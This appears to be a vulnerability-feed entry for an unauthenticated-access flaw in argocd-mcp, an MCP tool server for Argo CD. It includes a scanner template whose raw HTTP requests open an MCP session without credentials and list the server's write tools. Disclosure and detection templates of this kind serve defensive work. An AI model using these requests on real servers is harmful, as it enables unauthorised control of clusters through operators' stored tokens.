CVE-2026-82456: argocd-mcp 0.8.0 - Unauthenticated MCP Session and Tool Access
2026-09-21UnknownPoC Public
Description
argocd-mcp before 0.9.0 binds its MCP HTTP listener to all interfaces without requiring authentication. A remote unauthenticated attacker can initialize an MCP session, complete the handshake, and enumerate or invoke the full Argo CD tool surface using the operator's stored API token.
PoC
id: CVE-2026-82456
info:
name: argocd-mcp 0.8.0 - Unauthenticated MCP Session and Tool Access
author: kh1166
severity: critical
description: |
argocd-mcp before 0.9.0 binds its MCP HTTP listener to all interfaces without requiring authentication. A remote unauthenticated attacker can initialize an MCP session, complete the handshake, and enumerate or invoke the full Argo CD tool surface using the operator's stored API token.
impact: |
Remote unauthenticated attackers reach the full Argo CD tool surface with the operator's stored API token. Applications can be created pointing at attacker-controlled repositories and synced, which executes hostile manifests in the managed cluster under Argo CD's permissive default project.
remediation: |
Upgrade to argocd-mcp 0.9.0 and set MCP_AUTH_TOKEN so inbound callers must present an Authorization bearer header. Keep --bind-address on 127.0.0.1 unless an external auth layer is in front of the listener, and do not use --allow-unauthenticated to restore a wide bind.
reference:
- https://github.com/argoproj-labs/mcp-for-argocd/security/advisories/GHSA-rp45-5x3v-48mr
- https://nvd.nist.gov/vuln/detail/CVE-2026-82456
- https://www.vulncheck.com/advisories/argocd-mcp-0.8.0-authentication-bypass-via-unauthenticated-http
- https://github.com/argoproj-labs/mcp-for-argocd/releases
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2026-82456
epss-score: 0.01391
epss-percentile: 0.70707
cwe-id: CWE-306
metadata:
verified: false
max-request: 3
vendor: argoproj-labs
product: mcp-for-argocd
tags: cve,cve2026,argocd,argoproj,mcp,auth-bypass,exposure
flow: |
http(1)
if (template["sid"] == "") {
stop()
}
http(2) && http(3)
http:
- raw:
- |
POST /mcp HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Accept: application/json, text/event-stream
{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"nuclei","version":"1.0"}}}
matchers:
- type: dsl
dsl:
- 'contains(body, "\"serverInfo\"") && contains(body, "\"name\":\"argocd-mcp\"")'
- 'status_code == 200'
condition: and
internal: true
extractors:
- type: regex
name: sid
part: header
internal: true
group: 1
regex:
- '(?i)mcp-session-id:\s*([0-9a-fA-F-]{36})'
- raw:
- |
POST /mcp HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Accept: application/json, text/event-stream
mcp-session-id: {{sid}}
{"jsonrpc":"2.0","method":"notifications/initialized"}
matchers:
- type: dsl
dsl:
- 'status_code == 202'
internal: true
- raw:
- |
POST /mcp HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Accept: application/json, text/event-stream
mcp-session-id: {{sid}}
{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}
matchers:
- type: dsl
dsl:
- 'contains(body, "\"name\":\"list_applications\"") && contains(body, "\"inputSchema\"")'
- 'status_code == 200'
condition: and
extractors:
- type: regex
name: session
part: header
group: 1
regex:
- '(?i)mcp-session-id:\s*([0-9a-fA-F-]{36})'
- type: regex
name: write_tools
part: body
group: 1
regex:
- '"name":"(create_application|update_application|delete_application|sync_application|run_resource_action)"'
# digest: 490a00463044022016f837fa72a110b0d174b5c389fffeb9bdda5f5c921615563e4f7bd00a4c08b102200b3a1550fd6d82c22b7999eef684df1a216149c0fc3c638efc2b6b5307cb5a84:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.